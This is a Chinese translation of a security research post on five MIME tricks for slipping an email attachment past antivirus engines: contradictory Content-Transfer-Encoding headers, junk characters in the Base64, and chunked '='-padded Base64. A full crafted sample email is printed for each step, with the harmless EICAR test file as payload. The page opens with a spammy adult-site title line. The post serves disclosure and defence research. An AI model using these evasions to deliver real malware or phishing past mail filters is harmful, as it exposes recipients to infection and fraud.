压在透明的玻璃上c-国产精品国产一级A片精品免费-国产精品视频网-成人黄网站18秘 免费看|www.tcsft.com

通過修改 MIME 繞過郵件防病毒引擎檢測的五個簡單步驟

寫在前面的話

傳統(tǒng)上郵件僅限ASCII,每行限制為1000個字符。MIME標準定義了一種具有結(jié)構(gòu)化郵件(包括附件)和傳輸非ASCII數(shù)據(jù)。不幸的是,標準并不復(fù)雜和靈活,有許多自相矛盾的地方,并且沒有定義真正的錯誤處理。其中IDS / IPS,郵件網(wǎng)關(guān)或防病毒軟件,它們通常以不同方式解釋特定準備的郵件到最終用戶系統(tǒng)。

這篇文章將展示如何通過幾個簡單的步驟修改帶有惡意附件的郵件,并最終免殺Virustotal的防病毒軟件。經(jīng)過所有這些修改后,仍然可以在Thunderbird中打開郵件并運行惡意負載。在下文中,我將演示如何通過一些簡單易懂的步驟隱藏惡意附件以進行正確的分析。

QQ截圖20180711140141

第1步:普通MIME

我們首先添加無害的EICAR測試病毒的郵件。郵件由兩個MIME部分組成,第一部分是一些文本,第二部分是附件,用Base64編碼, 以便將二進制附件轉(zhuǎn)換為ASCII進行傳輸。截至今天(2018/07/05),Virustotal的36個(59個)產(chǎn)品能夠檢測到惡意負載。其余部分可能無法或未配置為處理ZIP存檔中的郵件文件或惡意軟件。

From: me@example.com
To: you@example.com
Subject: plain
Content-type: multipart/mixed; boundary=foo

--foo
Content-type: text/plain

病毒附加

--foo
Content-type: application/zip; name=whatever.zip
Content-Transfer-Encoding: base64

UEsDBBQAAgAIABFKjkk8z1FoRgAAAEQAAAAJAAAAZWljYXIuY29tizD1VwxQdXAMiDaJCYiKMDXR
CIjTNHd21jSvVXH1dHYM0g0OcfRzcQxy0XX0C/EM8wwKDdYNcQ0O0XXz9HFVVPHQ9tACAFBLAQIU
AxQAAgAIABFKjkk8z1FoRgAAAEQAAAAJAAAAAAAAAAAAAAC2gQAAAABlaWNhci5jb21QSwUGAAAA
AAEAAQA3AAAAbQAAAAAA
--foo--

我們可以通過保存擴展名為.eml的文件并使用Thunderbird打開它來驗證郵件的內(nèi)容。它應(yīng)該顯示一個名為whatever.zip的附加ZIP存檔,其中包含EICAR測試病毒。

第2步:矛盾Content-Transfer-Encoding

首先,我們使用2015年針對AOL Mail工作的相同技巧:我們只添加一個不同的Content-Transfer-Encoding標頭,從而對內(nèi)容的編碼方式做出矛盾的陳述。大多數(shù)郵件客戶端(包括Thunderbird和Outlook)將使用第一個標頭而忽略第二個標頭,解釋以下內(nèi)容與原始郵件沒有區(qū)別。盡管如此,即使問題應(yīng)該至少知道了3年,Virustotal的檢測率仍會從36降至28:

From: me@example.com
To: you@example.com
Subject: contradicting Content-Transfer-Encoding
Content-type: multipart/mixed; boundary=foo

--foo
Content-type: text/plain

病毒附加

--foo
Content-type: application/zip; name=whatever.zip
Content-Transfer-Encoding: base64
Content-Transfer-Encoding: quoted-printable

UEsDBBQAAgAIABFKjkk8z1FoRgAAAEQAAAAJAAAAZWljYXIuY29tizD1VwxQdXAMiDaJCYiKMDXR
CIjTNHd21jSvVXH1dHYM0g0OcfRzcQxy0XX0C/EM8wwKDdYNcQ0O0XXz9HFVVPHQ9tACAFBLAQIU
AxQAAgAIABFKjkk8z1FoRgAAAEQAAAAJAAAAAAAAAAAAAAC2gQAAAABlaWNhci5jb21QSwUGAAAA
AAEAAQA3AAAAbQAAAAAA
--foo--

第3步:添加垃圾字符

Base64中使用的字母表由64個明確定義的字符組成,最后可能有一些’=’。換行符用于將編碼分解為單獨的行,應(yīng)該被忽略。但是,還不完全清楚應(yīng)該如何處理任何其他(垃圾)字符的出現(xiàn)。標準建議但不定義忽略這些字符,即使它們不應(yīng)該首先發(fā)生 – 這幾乎是所有實現(xiàn)實際上都做的。從RFC 2045第6.8節(jié)節(jié)選:

編碼的輸出流必須以不超過76個字符的行表示。解碼軟件必須忽略表1中未找到的所有換行符或其他字符。在base64數(shù)據(jù)中,除表1中的字符,換行符和其他空格之外的字符可能表示傳輸錯誤,在某些情況下,警告消息甚至消息拒絕可能是適當?shù)摹?/p>

基于此,我們在Base64編碼中插入了大量垃圾數(shù)據(jù),并最終收到一封郵件,Virustotal的檢測率從36降至17:

From: me@example.com
To: you@example.com
Subject: junk characters inside Base64 combined with contradicting CTE
Content-type: multipart/mixed; boundary=foo

--foo
Content-type: text/plain

病毒附加

--foo
Content-type: application/zip; name=whatever.zip
Content-Transfer-Encoding: base64
Content-Transfer-Encoding: quoted-printable

U.E.s.D.B.B.Q.A.A.g.A.I.A.B.F.K.j.k.k.8.z.1.F.o.R.g.A.A.A.E.Q.
A.A.A.A.J.A.A.A.A.Z.W.l.j.Y.X.I.u.Y.2.9.t.i.z.D.1.V.w.x.Q.d.X.
A.M.i.D.a.J.C.Y.i.K.M.D.X.R.C.I.j.T.N.H.d.2.1.
j.S.v.V.X.H.1.d.H.Y.M.0.g.0.O.c.f
.R.z.c.Q.x.y.0.X.X.0.C./.E.M.8.w.w.K.D.d.Y.N.c.Q.0.O.0.X.X.z.
9.H.F.V.V.P.H.Q.9.t.A.C.A.F.B.L.A.Q.I.U.
A.x.Q.A.A.g.A.I.A.B.F.K.j.k.k.8.z.1.F.o.R.g.A.A.A.E.Q
.A.A.A.A.J.A.A.A.A.A.A.A.A.A.A.A.A.A.A.C.2.g.Q.A.A.A.A.B.l.a.
W.N.h.c.i.5.j.b.2.1.Q.S.w.U.G.A.A.A.A.
A.A.E.A.A.Q.A.3.A.A.A.A.b.Q.A.A.A.A.A.A.

請注意,這并不意味著所有受影響的產(chǎn)品都無法處理Base64中的垃圾字符。更有可能的是,大多數(shù)這些產(chǎn)品在步驟2中都沒有檢測到原始的內(nèi)容轉(zhuǎn)移編碼,但是使用了一種啟發(fā)式來檢測Base64編碼,不管它在哪里。通過添加垃圾字符,這個啟發(fā)式失敗了。

 

第4步:Chunked Base64編碼

在這一步中,我們回過頭來,不再使用垃圾字符。相反,我們以不同的方式攻擊Base64編碼:正確的編碼總是需要3個輸入字符并將這些編碼編碼為4個輸出字符。如果最后只剩下一個或兩個輸入字符,則輸出仍然是4個字符,用’==’(一個輸入字符)或’=’(兩個輸入字符)填充。

這意味著’=’或’==’應(yīng)僅位于編碼數(shù)據(jù)的末尾。因此,一些解碼器將停在第一個’=’。例如,Thunderbird總是讀取4個字節(jié)的編碼數(shù)據(jù)并對其進行解碼,并且不會改變中間編碼數(shù)據(jù)與末尾編碼數(shù)據(jù)的’=’行為。這導(dǎo)致了不是一次編碼總共3個字符而是一次只編碼2個字符的想法,在編碼數(shù)據(jù)中留下了很多’=’。Thunderbird將像原始郵件一樣處理此郵件,但Virustotal的檢測率從36下降到1個:

From: me@example.com
To: you@example.com
Subject: Base64 encoded in small chunks instead one piece + contradicting CTE
Content-type: multipart/mixed; boundary=foo

--foo
Content-type: text/plain

病毒附加

--foo
Content-type: application/zip; name=whatever.zip
Content-Transfer-Encoding: base64
Content-Transfer-Encoding: quoted-printable

UEs=AwQ=FAA=AgA=CAA=EUo=jkk=PM8=UWg=RgA=AAA=RAA=AAA=CQA=AAA=ZWk=Y2E=ci4=
Y28=bYs=MPU=Vww=UHU=cAw=iDY=iQk=iIo=MDU=0Qg=iNM=NHc=dtY=NK8=VXE=9XQ=dgw=
0g0=DnE=9HM=cQw=ctE=dfQ=C/E=DPM=DAo=DdY=DXE=DQ4=0XU=8/Q=cVU=VPE=0PY=0AI=
AFA=SwE=AhQ=AxQ=AAI=AAg=ABE=So4=STw=z1E=aEY=AAA=AEQ=AAA=AAk=AAA=AAA=AAA=
AAA=AAA=ALY=gQA=AAA=AGU=aWM=YXI=LmM=b20=UEs=BQY=AAA=AAA=AQA=AQA=NwA=AAA=
bQA=AAA=AAA=
--foo--

 

第5步:再次使用垃圾字符

為了混淆最后剩下的產(chǎn)品,我們再次添加第3步中的垃圾字符。這成功地將檢測率從36降低到零:

From: me@example.com
To: you@example.com
Subject: chunked Base64 combined with junk characters and contradicting CTE
Content-type: multipart/mixed; boundary=foo

--foo
Content-type: text/plain

病毒附加

--foo
Content-type: application/zip; name=whatever.zip
Content-Transfer-Encoding: base64
Content-Transfer-Encoding: quoted-printable

UEs=.AwQ=.FAA=.AgA=.CAA=.EUo=.jkk=.PM8=.UWg=.RgA=.AAA=.RAA=.AAA=.CQA=.AAA=.
ZWk=.Y2E=.ci4=.Y28=.bYs=.MPU=.Vww=.UHU=.cAw=.iDY=.iQk=.iIo=.MDU=.0Qg=.iNM=.
NHc=.dtY=.NK8=.VXE=.9XQ=.dgw=.0g0=.DnE=.9HM=.cQw=.ctE=.dfQ=.C/E=.DPM=.DAo=.
DdY=.DXE=.DQ4=.0XU=.8/Q=.cVU=.VPE=.0PY=.0AI=.AFA=.SwE=.AhQ=.AxQ=.AAI=.AAg=.
ABE=.So4=.STw=.z1E=.aEY=.AAA=.AEQ=.AAA=.AAk=A.AA=.AAA=.AAA=.AAA=.AAA=.ALY=.
gQA=.AAA=.AGU=.aWM=.YXI=.LmM=.b20=.UEs=.BQY=.AAA=.AAA=.AQA=.AQA=.NwA=.AAA=.
bQA=.AAA=.AAA=.
--foo--

結(jié)論

請注意,這篇文章只是對可以做什么的一個小小的洞察。我發(fā)現(xiàn)了更多的bypass,包括內(nèi)容分析和從附件中提取正確的文件名(以阻止.exe.scr等)。MIME的情況與我在HTTP中描述的情況差不多并。這些方法不僅限于欺騙惡意軟件分析。通過將這些方法應(yīng)用于向用戶顯示的文本內(nèi)容,它們還可用于欺騙網(wǎng)絡(luò)釣魚和垃圾郵件檢測。例如,它們可用于使分析看到亂碼或使其分析錯誤的MIME部分,但將郵件顯示為最終用戶的預(yù)期。

原文:https://noxxi.de/research/mime-5-easy-steps-to-bypass-av.html

上一篇:在音頻中暗藏指令?語音助手的5大安全威脅

下一篇:騰訊靈鯤亮相中國互聯(lián)網(wǎng)大會 揭秘“黑科技”助力金融監(jiān)管升級